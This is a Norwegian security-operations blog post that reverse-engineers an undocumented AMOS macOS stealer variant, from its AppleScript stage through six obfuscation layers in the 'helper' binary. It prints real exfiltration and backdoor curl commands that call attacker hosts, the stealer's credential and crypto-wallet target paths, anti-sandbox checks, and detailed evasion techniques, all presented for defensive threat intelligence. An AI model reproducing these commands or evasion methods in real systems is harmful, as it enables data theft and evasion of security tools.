Anatomien til en ukjent AMOS Stealer: Fra alert til immunitet på timer

En hittil udokumentert AMOS-Stealer-variant kompromitterte et macOS-endpoint. Ingen kjente hasher, ingen C2-data i offentlige databaser. Vårt SOC demonterte seks obfuskeringslag, hentet ut alle indikatorene og distribuerte beskyttelsen til samtlige SOC-kunder i løpet av timer, før bransjen i det hele tatt hadde sett samplet.

Anatomien til en ukjent AMOS Stealer: Fra alert til immunitet på timer

Når en alert utløses i vårt SOC, begynner klokken å gå: ikke bare for den berørte kunden, men for alle organisasjoner under vår beskyttelse. Det farligste øyeblikket i dagens trusselbilde er Intelligence Gap, altså tidsvinduet mellom første gang en ny malware-variant tas i bruk og den dagen bransjen får vite om den.

For selvstendige security-team betyr dette gapet ekstrem sårbarhet: du venter på en vendor-oppdatering eller en signaturfeed som ennå ikke er skrevet. For våre kunder lukker vår internt utviklede Shared Threat Intelligence akkurat dette vinduet.

Dette innlegget er en teknisk gjennomgang av hvordan vi plukket fra hverandre en hittil udokumentert AMOS-variant (Atomic macOS Stealer), og hvordan ett enkelt kompromittert endpoint innen få timer ble til dekkende deteksjon og blokkering på tvers av alle kundemiljøene våre.


Hendelsen: Et ukjent IOC-scenario

Alerten kom inn 12. mars 2026 klokken 06:25 lokal tid: et macOS-endpoint var kompromittert. Da vårt SOC begynte å analysere artefaktene, sto vi i en situasjon enhver threat analyst frykter: ingen kjente filhasher, ingen C2-IP-adresser, ingen meningsfulle atferdssignaturer i offentlige databaser.

Den fullstendige angrepsarkitekturen viste seg først i dybdeanalysen. Infeksjonen bygde på en 15,7 MB stor macOS Universal Binary (x86_64 og ARM64) lagt ned på /private/tmp/helper. Samplet var ikke direkte tilgjengelig på det kompromitterte systemet; teamet vårt måtte rekonstruere infeksjonskjeden og simulere den opprinnelige leveringsforespørselen for å hente binaryen manuelt fra angriperens infrastruktur.


Stage 1: Sandbox-sjekker

Før selve stealeren ble kjørt på enheten, hadde en AppleScript-payload allerede kjørt. Hver eneste streng i den, hver filsti, hver shell-kommando og hver URL var kodet gjennom tre egendefinerte aritmetiske funksjoner:

on ipbgcjzgqa(a, b)
    -- result[i] = chr(a[i] - b[i])

on kwcvvjininv(a, b)
    -- result[i] = chr(a[i] + b[i])

on xqylheckjx(a, b, offset)
    -- result[i] = chr(a[i] - b[i] - offset)

Ikke én streng ligger i klartekst. Det som ved første øyekast så ut som meningsløse heltalls-arrays, viste seg etter reversering av kodingsskjemaet å være et fullstendig og operativt rammeverk for datatyveri og eksfiltrering.

Vi dekodet hvert array i skriptet statisk. Resultatene var utvetydige:

Download URL: https[:]//woupp[.]com/n8n/update
Exfil server: http[:]//92[.]246[.]136[.]14/contact
Exfil method: curl --connect-timeout 120 --max-time 300 -X POST -F «file=@/tmp/out.zip»

Nedlastings-URL-en imiterer bevisst en legitim n8n-workflow-automation-oppdatering, et verktøy som er utbredt blant utviklere og DevOps-ingeniører. Det er ingen tilfeldighet: kampanjen sikter seg inn på teknisk kompetente brukere, ikke vanlige sluttbrukere som installerer crackede programvarer.

Anti-sandbox-sjekken

Før nedlastingen kjørte skriptet en dedikert rutine for å oppdage VM og sandbox. Fra hendelsesartefaktene kunne vi i tillegg gjenopprette et frittstående anti-sandbox-skript:

set urgufr  to do shell script "system_profiler SPMemoryDataType"
set qcsvjxp to do shell script "system_profiler SPHardwareDataType"

Resultatene sjekket skriptet så mot to lister. Den første lette etter virtualiseringsmarkører i minnedataene:

"QEMU"   "VMware"   "KVM"

Den andre sjekket maskinvareidentifikatorer mot en liste over kjente serienumre for analysemaskiner:

"Z31FHXYQ0J"     -- known sandbox machine serial
"C07T508TG1J2"   -- known sandbox machine serial
"C02TM2ZBHX87"   -- known sandbox machine serial
"Chip: Unknown"  -- emulation indicator
"Intel Core 2"   -- legacy/VM indicator

Ved treff: exit 100, fullstendig avbrudd. På en ekte MacBook Pro med Apple Silicon gikk alle sjekker igjennom uten en lyd, og kjøringen fortsatte. En sandbox-evasjonsteknikk på profesjonelt nivå, som ble utført før én eneste byte av binaryen var lastet ned.

Enkelt, men effektivt: Den falske passordforespørselen

Det dekodede skriptet inneholdt også dialogen for privilegieopptrapping via social engineering:

Title:   "Application wants to install helper"
Prompt:  "Required Application Helper. Please enter device
          password to continue."
Button:  "Continue"

Dialogen vises via et standard macOS-display dialog-kall med with hidden answer og kan visuelt ikke skilles fra en ekte macOS-autorisasjonsforespørsel. Passordet som ble tastet inn brukte skriptet til å kalle login -pf <username> og heve prosessen til root-rettigheter, før binaryen i det hele tatt ble kjørt.

Hva skriptet samlet inn

Så snart binaryen var kjørt, fortsatte osascript sitt eget innsamlingsløp og hentet ut hver eneste kategori av sensitive systemdata. Vi dekodet alle innsamlingsstier og mål:

Nettleserdata (alle Chromium-nettlesere + Safari):

/Login Data          /Cookies            /Web Data
/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/

macOS Keychain:

~/Library/Keychains/login.keychain-db  -- accessed directly via cat

Apple Notes

Fullstendig innhold eksportert som HTML med teller-header

Lokale filer

Skrivebord og dokumenter, opptil 30 MB, med fokus på:

pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf
key  p12  pem  cert  pfx  sql  db  sqlite
json  xml  yaml  conf  env  csv

Kryptovaluta-lommebøker

En hardkodet liste på mer enn 200 nettleser-extension-ID-er, som dekker alle vanlige wallets, deriblant MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI og Exodus.

Etter innsamlingen ble alle data samlet i en tilfeldig navngitt midlertidig mappe og eksfiltrert:

ditto -c -k --sequesterRsrc <staging_dir> /tmp/out.zip
curl --connect-timeout 120 --max-time 300 -X POST \
  -H "user: <uuid>" -H "BuildID: <hw_profile>" \
  -F "file=@/tmp/out.zip" laislivon[.]com/contact

Opprydningen fulgte umiddelbart:

rm -r <staging_dir>
rm /tmp/out.zip

Stage 2: Reverse engineering av 'helper'-binaryen

helper-binaryen er den delen der analysen virkelig går i dybden. Det dreier seg om et profesjonelt obfuskert macOS-executable som systematisk vanskeliggjør statisk analyse og som utgjorde den største reverse-engineering-innsatsen i denne undersøkelsen.

Hele analysen ble utført med Ghidra og vår egendefinerte ARM64-analyseflyt.

Filegenskaper

Egenskap Verdi
Format Mach-O Universal Binary
Architectures x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)
Size 15.7 MB
MD5 4599fdf2fa2099b30d8bbf76703dd634
SHA-1 3992edfb6f885ae5f09f3e69a2578048d6d5bb54
SHA-256 5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d

Det begynner før main()

Det første vi la merke til i Ghidra: denne binaryen oppfører seg ikke som et vanlig executable. Selve inngangspunktet er ikke main(), men en funksjon som er registrert i __mod_init_func, en macOS-mekanisme som instruerer den dynamiske linkeren (dyld) om å kjøre bestemte funksjoner automatisk når binaryen lastes, før noe kjørbar kode i det hele tatt starter.

Init-funksjonen på 0x10009f384 er malwarens egentlige inngangspunkt. Her er Ghidra-dekompileringen:

// FUN_10009f384 @ 0x10009f384
// __mod_init_func registered — executes before main()void FUN_10009f384(void) { int iVar1;

// Anti-sandbox delay: usleep(0x37e) = 894 microseconds iVar1 = _usleep(0x37e);

// Indirect jump table — 14-state machine// Defeats CFG reconstruction in static analysis tools (_(code _)((ulong)switchD_10009f43c::switchdataD_1000cd3fc * 4 + 0x10009f440))(iVar1); return; }

To ting stikker seg umiddelbart ut. For det første usleep-kallet på 894 mikrosekunder ved oppstart: et anti-sandbox-tidssignal. Alvorligere er den indirekte hopptabellen på 0x10009f43c. Det er en beregnet branch der måladressen fastsettes i runtime fra en lookup-tabell. Statiske analyseverktøy klarer ikke å rekonstruere control-flow-grafen; Ghidra logget flere «unreachable block»-advarsler ved forsøk på å følge kjøringspaden. Det er nettopp intensjonen.

Hopptabellen driver en 14-tilstands eksekveringsmaskin. Hver tilstand utfører et enkelt diskret steg i dekrypterings- og eksekveringspipelinen. Tilstandstelleren oppdateres etter hvert steg, og maskinen kjører til alle tilstander er gjennomløpt.

ARM64-disassemblyen av state-dispatcheren

10009f3fc:  stp xzr,xzr,[sp, #0x48]
10009f41c:  mov w0,#0x37e
10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox
10009f424:  cmp w25,#0xd             ; state counter < 14?
10009f428:  b.hi 0x10009fd44         ; exit if done
10009f42c:  mov w8,w25               ; current state index
10009f430:  adr x9,0x10009f440       ; base of jump table
10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table
10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address
10009f43c:  br x9                    ; indirect branch, CFG broken here

Seks stablede obfuskeringslag

Binaryen bruker seks ulike obfuskeringslag, stablet og lenket slik at utgangen fra hvert lag mates inn i det neste. Hver payload, hver streng, hver interne konstant er kodet. I __const-segmentet dukker ingenting meningsfullt opp i klartekst. Det som følger er en fullstendig lag-for-lag-gjennomgang, verifisert direkte i Ghidra, ned til enkelte ARM64-instruksjoner. Hver av teknikkene som benyttes er kjent isolert; men den kjedede bruken over flere stadier skapte en sterkt gjensidig avhengig kjøringsflyt som gjorde både statisk og dynamisk analyse betydelig vanskeligere.


Layer 1: Compile-time triplet-koding

Ingen streng i binaryen er lagret som en tegnsekvens, men som en sekvens av 12-byte aritmetikk-tripletter. Hver triplet (a, b, shift) koder nøyaktig ett utgangstegn. Kodingsskjemaet anvendes på kompileringstidspunktet, slik at ingen streng noen gang finnes som klartekst i binaryen, ikke engang midlertidig ved lasting.

To separate decoder-funksjoner håndterer ulike strenglengder. FUN_100087c08 på 0x100087c08 dekoder 60-tegns strenger (720 byte inndata fra DAT_1006292cc). FUN_10007ad80 på 0x10007ad80 dekoder 56-tegns strenger (672 byte fra DAT_10049708c). Begge bruker samme algoritme.

// FUN_100087c08 @ 0x100087c08
// Triplet decoder, 60 chars, data from DAT_1006292ccvoid FUN_100087c08(long *param_1) { long *plVar1; void *pvVar2; long lVar3; uint *puVar4;

pvVar2 = operator_new(0x2d0); // allocate 720 bytes (60 triplets × 12)
_memcpy(pvVar2, &DAT_1006292cc, 0x2d0); // copy encoded triplets from __const
FUN_1000a0840(param_1, 0x3c, 0); // init 60-char output buffer lVar3 = 0; puVar4 = (uint _)((long)pvVar2 + 8); do { plVar1 = (long _)_param_1; if (-1 < _(char _)((long)param_1 + 0x17)) { plVar1 = param_1; } // THE DECODE FORMULA, one character per triplet:
// char = ((b _ 3) XOR a) >> shift) - b _(char _)((long)plVar1 + lVar3) = (char)((int)(puVar4-1 * 3 ^ puVar4-2) >> (*puVar4 & 0x1f)) - (char)puVar4-1; lVar3 = lVar3 + 1; puVar4 = puVar4 + 3; // advance 12 bytes — next triplet } while (lVar3 != 0x3c); // loop exactly 60 times
operator_delete(pvVar2); return; }

Den tilsvarende ARM64-assemblyen, der hver instruksjon svarer direkte til en operasjon i formelen:

100087c48:  add x9,x20,#0x8
100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11
100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b << 1) = b * 3
                                       ; (compiler avoids MUL instruction)
100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a
100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12
100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved
100087c60:  sub w10,w10,w11           ; subtract b — final decoded character
100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer
100087c78:  add x8,x8,#0x1
100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60
100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded

Verdt å merke seg: multiplikasjonen b × 3 er implementert som add w12, w11, w11, LSL #1, en shift-and-add som helt unngår en multiplikasjonsinstruksjon. Det er en klassisk kompilatoroptimalisering, som samtidig gjør koden vanskeligere å finne via signature matching.

Den fullstendige dekodingsformelen:

char = ASR( (b × 3) XOR a, shift ) − b

ASR (Arithmetic Shift Right) er avgjørende: den bevarer fortegnsbiten. Hvis mellomresultatet av (b×3) XOR a er negativt, noe som er vanlig, ville et logisk shift gitt et helt annet resultat. Det er tilsiktet: den som reimplementerer formelen i et høynivåspråk med >>, får stille og rolig feilaktige utdata med mindre fortegnsaritmetikken håndteres eksplisitt.

56-tegns-varianten FUN_10007ad80 er strukturelt identisk, opererer på DAT_10049708c med en løkkegrense på 0x38. Begge funksjonene ble bekreftet live i Ghidra under denne analysen.


Layer 2: Hex-streng-koding

Rå-bytene som Layer 1 produserer, er selv ASCII-hex-tegn, ikke binærdata. Utgangen fra en Layer 1-triplet-dekoding er en streng av hex-par: 32694e5462.... Dette bekreftes av decoder-funksjonen FUN_100000dc0 på 0x100000dc0, som implementerer en hex-dekoding via en lookup-tabell på DAT_1007bb591.

Ghidra-dekompileringen viser en switch-setning som mapper hvert hex-tegn (0x30-0x39, 0x41-0x46, 0x61-0x66) til nibble-verdien og setter sammen utgangsbyter to tegn av gangen:

// FUN_100000dc0 @ 0x100000dc0// Hex decoder, processes input two characters per output byteswitch(*(undefined1 *)((long)plVar2 + lVar7)) { case 0x30: break; // '0' → 0x00 case 0x31: bVar9 = 0x10; break; // '1' → 0x10 case 0x32: bVar9 = 0x20; break; // '2' → 0x20 // ... '3' through '9' ... case 0x41: case 0x61: bVar9 = 0xa0; break; // 'A'/'a' → 0xa0 case 0x42: case 0x62: bVar9 = 0xb0; break; // 'B'/'b' → 0xb0 case 0x43: case 99: bVar9 = 0xc0; break; // 'C'/'c' → 0xc0 case 0x44: case 100: bVar9 = 0xd0; break; // 'D'/'d' → 0xd0 case 0x45: case 0x65: bVar9 = 0xe0; break; // 'E'/'e' → 0xe0 case 0x46: case 0x66: bVar9 = 0xf0; break; // 'F'/'f' → 0xf0 } // Second nibble from lookup table at DAT_1007bb591 *(byte *)((long)pppppppuVar3 + uVar8) = (&DAT_1007bb591)[(ulong)uVar4 & 0xff] | bVar9;

ARM64-assemblyen driver dette med en sekundær computed-branch-tabell og implementerer i praksis en 55-elements hopptabell for switchen:

100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table
100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char
100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address
100000e68:  br x17                   ; jump — second computed branch in 24 bytes

To beregnede branches i et 24-byte-vindu. Statiske analyseverktøy takler ikke dette mønsteret, fordi begge branch-målene er ukjente på analysetidspunktet.

En hex-streng på 137 208 tegn gir 68 604 byte etter dekoding, som deretter mates videre inn i Layer 3.


Layer 3: Egendefinert 16-symbol nibble-alfabet

De 68 604 utgangsbytene fra Layer 2 bruker kun 16 unike byteverdier fra to ikke-sammenhengende ASCII-områder:

  • 0x20-0x2F: mellomrom, !, ", #, $, %, &, ', (, ), *, +, ,, -, ., /
  • 0x78-0x7F: x, y, z, {, |, }, ~, DEL

Det er en bevisst designbeslutning. I en hex-editor ser disse bytene ut som mellomrom, skilletegn og ASCII-randtegn; de forsvinner i støyen av det som virker som metadata eller padding. En analytiker som skummer en hex-dump vil ikke flagge disse byteområdene som mistenkelige, og standard entropianalyse undervurderer den effektive entropien fordi bytefordelingen ikke ser tilfeldig ut.

Hver byte fra dette alfabetet koder en nibble av selve payloaden. Alfabet-til-nibble-tilordningen anvendes av encode/decode-funksjonen FUN_100000d60, som vi bekreftet på 0x100000d60. Den lenker sammen to sub-funksjoner: FUN_100000b50 bygger en indeksert map over tegnene i inn-strengen, og FUN_100000c34 går gjennom denne mappen, konsumerer 6 bit per steg og akkumulerer utgangsbyter 8 bit av gangen:

// FUN_100000c34 @ 0x100000c34, nibble accumulator iVar5 = 0; do { local_52 = *(undefined1 *)puVar4; lVar3 = FUN_1000a078c(param_3, &local_52); // look up nibble value if (lVar3 == 0) { // character not in alphabet, treat as raw FUN_1000a078c(param_3, &local_51); } else { iVar5 = iVar5 + 4; // accumulate 4 bits while (7 < iVar5) { std::string::push_back((char)param_1); // emit byte when 8+ bits ready iVar5 = iVar5 + -8; } } puVar4 = (undefined8 *)((long)puVar4 + 1); } while (puVar4 != puVar1);

De 34 302 bytene som kommer ut av dette gjennomløpet er 99,7 % skrivbar ASCII. Ved første flyktige blikk ser payloaden på dette stadiet ut som et stort shell-skript eller en konfigurasjons-blob.


Layer 4: Compile-time-strengobfuskering

Interne strenger obfuskeres på kompileringstidspunktet med samme triplet-skjema som Layer 1 og rekonstrueres i runtime rett før de brukes. I minnet ligger de aldri lenger enn nødvendig; bufferen frigjøres umiddelbart etter forbruk. I binaryens statiske datasegmenter er ingen dekodet streng synlig på noe tidspunkt.

Streng-hash-funksjonen FUN_100000730 gir et sekundært obfuskeringslag for strengsammenligninger. I stedet for å sammenligne strenger direkte, noe som ville etterlate klartekst i minnet, beregner og sammenligner binaryen heltalls-hasher:

// FUN_100000730 @ 0x100000730// FNV-style string hash, avoids plaintext string comparisonsint FUN_100000730(char *param_1) { int iVar4 = 0x19a8; // FNV offset basis (modified) // ... for (; uVar3 != 0; uVar3 = uVar3 - 1) { iVar4 = (int)*pcVar1 + iVar4 * -0x7fb91be3; // FNV-1a style multiply pcVar1 = pcVar1 + 1; } return iVar4; }

ARM64-assemblyen erstatter multiplikasjonen med en fused multiply-add:

100000744:  mov w0,#0x19a8            ; FNV basis
100000750:  mov w10,#0xe41d
100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3
100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment
10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char
100000760:  subs x9,x9,#0x1
100000764:  b.ne 0x100000758

Det betyr at selv en sammenligning av to strenger inne i binaryen ikke produserer en branch som en debugger kan fange rent på strengnivå, kun på hash-nivå.


Layer 5: To custom stream-cipher-instanser

Her blir obfuskeringsarkitekturen uvanlig. I binaryen kjører ikke én, men to separate cipher-instanser, hver med en ulik hardkodet lookup-tabell og en ulik startteller. Begge bruker den samme algoritmestrukturen, men produserer forskjellige utgangsalfabeter for ulike deler av payload-pipelinen.

Instans A, FUN_10007ab34 på 0x10007ab34:

// Instance A, start counter 0x4c, table @ 0x100496f8b uVar6 = 0x4c; do { bVar2 = *(byte *)((long)local_e0 + ((ulong)(*(byte *)((long)local_c8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // counter: i + (counter XOR output) uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

Instans B, FUN_10007a7e0 på 0x10007a7e0:

// Instance B, start counter 0x9f, different table @ 0x100496e0a region uVar6 = 0x9f; do { bVar2 = *(byte *)((long)local_c0 + ((ulong)(*(byte *)((long)local_a8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // identical counter update formula uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

Algoritmen er strukturelt identisk, men startlteller er forskjellig (0x4c vs. 0x9f) og lookup-tabellene ligger på ulike minneadresser. Instans A kalles fra tilstand 11 i tilstandsmaskinen for å produsere kodingsalfabetet for den første payload-veien. Instans B kalles fra tilstand 6 for å produsere alfabetet som brukes til å dekode det store shell-skript-payloaden.

Presist formulert: det dreier seg om en substitusjonschiffer med tellerbasert indeks. Hver utgangsbyte er et tabelloppslag, der indeksen er (input_byte XOR counter) & 0xFF. Telleren oppdateres etter hver byte som counter = (i + (counter XOR output)) & 0xFF, noe som betyr at hver utgangsbyte påvirker bestemmelsen av neste lookup-indeks. Dette gir en avhengighetskjede over hele utgangssekvensen: byte N kan ikke dekrypteres uten at bytene 0 til N-1 er dekryptert korrekt. Delvis dekryptering og feilanalyse blir dermed betydelig vanskeligere.

Ingen av instansene er standard RC4. Det finnes ingen S-Box-initialiseringsfase, ingen S-Box-swap-operasjon. Lookup-tabellene er statiske konstanter innebygd på kompileringstidspunktet.


Layer 6: Runtime-XOR med exit-code-avhengig nøkkel

Det siste og analytisk mest krevende laget påfører en in-place-XOR-transformasjon på stage-2-payloaden. XOR-nøkkelen er ikke hardkodet, men avledet i runtime fra exit-koden til den første shell-payload-kjøringen, og kan dermed prinsipielt ikke bestemmes via statisk analyse. Binaryen må faktisk kjøres og det første shell-skriptet må kjøre til ende før nøkkelen i det hele tatt eksisterer.

Nøkkelavledningssekvensen i ARM64-state-machine-dispatcheren:

; After shell_exec_via_pipe #1 returns, exit code is in w0
10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status
10009f83c:  mov w9,#0x7f0             ; multiplier constant
10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter
10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24

XOR-løkken som prosesserer stage-2-payloaden:

; In-place XOR, every byte of the payload is XORed with w24
10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte
10009fc48:  eor w10,w10,w24          ; XOR with key
10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place

Nøkkelen er en 16-bits verdi, avledet fra exit-status-byten til den første shell-payloaden, multiplisert med 0x7f0 og lagt til den aktuelle verdien av tilstandsmaskinens basetellerregister w26. Multiplikasjonskonstanten 0x7f0 gjør at én bit forskjell i exit-koden gir en helt annen nøkkel. Det er ingen utnyttbar kontinuitet mellom nabo-nøkkelverdier.

Uten å kjøre binaryen i et kontrollert miljø og registrere den nøyaktige exit-koden til den første shell-payloaden, forblir stage-2-payloaden permanent ugjennomtrengelig for statisk analyse. Det var den vanskeligste hindringen i hele analysen.


Shell-kjøring: pipes i stedet for argumenter, og SIMD-XOR

Shell-kjøringsfunksjonen FUN_10000091c på 0x10000091c er den arkitektonisk mest interessante komponenten i binaryen. Her løper alt sammen: den dekodede payloaden, det obfuskerte kommandonavnet og det eksplisitte anti-forensikk-designet. Hver designbeslutning i denne funksjonen tjener et spesifikt evasjonsformål.

Steg 1: Kommandonavnet forekommer aldri i klartekst

/bin/zsh finnes ingen steder i binaryen som klartekst. I __cstring-seksjonen på 0x1007bb5c8 ligger strengen som obfuskerte byter \x01LG@\x01T]F. Dekoding skjer i runtime via en enkelt XOR-operasjon, verifiserbar direkte i ARM64-assemblyen:

; FUN_10000091c — command name decode via SIMD XOR
100000960:  adrp x8,0x1007bb000
100000964:  add x8,x8,#0x5c8          ; x8 → "\x01LG@\x01T]F" in __cstring
100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64
10000096c:  str x8,[sp, #0x20]
100000970:  strb wzr,[sp, #0x28]      ; null terminator

100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0
100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1
10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously
100000980:  str d0,[sp, #0x20]        ; store decoded "/bin/zsh"

100000988:  mov w8,#0x732d            ; 0x732d = "-s" (little-endian)
10000098c:  strh w8,[sp, #0x4]        ; store argument string

XOR-nøkkelen er 0x2e, ASCII-verdien for . (punktum). Dekodingen skjer i én enkelt eor v0.8B, v0.8B, v1.8B-instruksjon, en ARM64-NEON-vektorinstruksjon som XOR-ler alle 8 byter samtidig. Å bruke en SIMD-instruksjon for en enkel 8-byte-dekoding er uvanlig og har to effekter: raskere enn en byte-for-byte-løkke, og instruksjonsmønsteret som produseres skiller seg fundamentalt fra skalare dekodings-løkker som signatur-matching-verktøy er trent på.

Verifiseringen er enkel: 0x01 XOR 0x2e = 0x2f = /, 0x4c XOR 0x2e = 0x62 = b, 0x47 XOR 0x2e = 0x69 = i, 0x40 XOR 0x2e = 0x6e = n, som gir /bin i de første fire bytene.

Steg 2: Pipe-arkitekturen

Etter å ha dekodet kommandonavnet oppretter funksjonen en OS-pipe og forker:

100000990:  bl 0x1000a0f6c    ; _fork()
100000994:  mov x20,x0        ; save PID
100000998:  cbz w0,0x100000b00 ; if child: jump to exec path

I child-prosessen:

; Child process path
100000b0c:  mov w1,#0x0
100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)
; pipe read-end is now stdin, shell reads from pipe
100000b2c:  add x0,sp,#0x20   ; argv[0] = "/bin/zsh"
100000b30:  add x1,sp,#0x8    ; argv array
100000b34:  bl 0x1000a0f60    ; _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])

Child-prosessen erstatter sin standard-input med lese-enden av pipen og starter /bin/zsh -s. I -s-modus leser shellen kommandoer fra stdin. For process-monitoring-verktøy fremstår denne prosessen som /bin/zsh -s uten argumenter, ikke til å skille fra en legitim interaktiv shell-session.

Steg 3: Chunk-writes av varierende størrelse

Parent-prosessen skriver den dekrypterte payloaden i bevisst varierende chunk-størrelser til skrive-enden av pipen:

; Parent: compute chunk size then write
1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo
1000009d8:  lsr x8,x8,#0x7
1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0
1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64
                                    ; range: 64 to 255 bytes per write
1000009e4:  cmp x8,x23             ; clamp to remaining length
1000009e8:  csel x2,x8,x23,cc

1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd
1000009f0:  mov x1,x21             ; payload pointer
1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)

100000a04:  mov w0,#0x1
100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks
100000a0c:  add x21,x21,x22        ; advance pointer
100000a10:  sub x23,x23,x22        ; reduce remaining count
100000a14:  cbnz x23,0x1000009d4   ; loop until done

Chunk-størrelsesformelen (remaining_length % 192) + 64 produserer verdier mellom 64 og 255 byte per write-kall, avhengig av gjenværende payload-lengde. Det variable write-mønsteret er synlig i kernel-event-tracing-verktøy som ktrace eller dtrace, men produserer ingen gjenkjennelig fastformat-signatur. Hver kjøring av samme payload gir en annen sekvens av write()-syscall-størrelser.

usleep på 1 mikrosekund mellom chunks har et sekundært formål: den gir CPU-en fri mellom skrivingene, holder CPU-belastningen flat og unngår en plutselig spike som en atferdsbasert EDR-regel kunne flagge som avvikende burst-I/O.

Steg 4: Umiddelbar minneopprydning

; After all chunks written and pipe closed:
100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type
100000a24:  sxtb w9,w8
100000a28:  ldp x10,x11,[x19]
100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer
100000a34:  csel x1,x11,x8,lt      ; length of buffer
100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)

_bzero()-kallet nuller ut hele den dekrypterte payload-bufferen umiddelbart etter siste skriving til pipen. Ikke noe tidsvindu, ikke engang et mikrosekund, der den dekrypterte payloaden ligger i minnet etter at kjøringen er fullført. En live memory dump tatt rett etter at denne funksjonen returnerer finner bare nuller der payloaden var.

Det kalles zero-after-use, den samme teknikken som høysikre kryptografiske biblioteker bruker for å hindre at nøkkelmateriale blir liggende i minnet. At denne teknikken dukker opp i commodity-malware er uvanlig og tyder på en utvikler med security-engineering-bakgrunn.

Den fullstendige kjøringssekvensen:

__cstring:  "\x01LG@\x01T]F"   (7 bytes, obfuscated)
    ↓  SIMD XOR with 0x2e (8-wide vector)
stack:      "/bin/zsh\0"         (decoded in-place, stack only)
    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]
    ↓  _fork()
    │
    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end
    │          _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])
    │          → /bin/zsh reads commands from stdin (= pipe)
    │
    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)
                     _usleep(1)
               _close(local_5c)    close write end → EOF to shell
               _bzero(payload, len) ← WIPE IMMEDIATELY
               _waitpid(child, ...)

Import-tabellen som våpen

Den fullstendige import-tabellen for denne binaryen:

// C runtime / memory
_memcpy       _memmove      _memset       _bzero

// Process execution
_fork         _execvp       _execl        __exit

// IPC / pipes
_pipe         _dup2         _close        _write

// Synchronisation
_waitpid      _usleep

// Stack protection
___stack_chk_fail    ___stack_chk_guard

// C++ runtime
operator.new    operator.delete    __Unwind_Resume
___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch
___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0
terminate    logic_error    bad_array_new_length    __next_prime

// STL containers
append    reserve    push_back    operator=

// Dynamic linking
dyld_stub_binder

Totalt 27 symboler. Det som mangler er minst like avslørende som det som finnes.

Fraværende: nettverk

socket      connect     bind        listen
accept      send        recv        sendto
recvfrom    getaddrinfo gethostbyname

Fraværende: filsystem

open        read        fopen       fread
fwrite      fclose      stat        unlink
mkdir       rename      opendir     readdir

Fraværende: prosess-introspeksjon

getpid      getuid      getenv      sysctl

Fraværende: kryptografi

CCCrypt     SecItemAdd  SecKeychainFind

I et tradisjonelt malware-sample ville man forvente nettverks-imports (socket, connect) eller fil-imports (fopen, write). Denne binaryen har ikke en eneste. For en standard scanner ser den ut som en harmløs prosess-launcher, og slik er det tenkt: et bevisst arkitekturvalg som lar statiske analyseverktøy løpe tomme.

helper-binaryen utfører ikke tyveriet selv. Dens eneste formål er å plassere og kjøre den egentlige ondsinnede payloaden, et sterkt obfuskert AppleScript. En EDR eller AV som leter etter ondsinnede binaries ser her en loader uten nettverks- eller fil-I/O og kan klassifisere den som ren, uten å oppdage at binaryen er et spesialisert leveringssystem for en high-level-skript-payload.


Bakdøren

Hendelsen sluttet ikke etter den innledende kompromitteringen. Microsoft Defender-telemetri viste en prosess som kjørte fra /Users/<redacted>/.mainhelper og spurte en ekstern server:

sh -c "curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'"

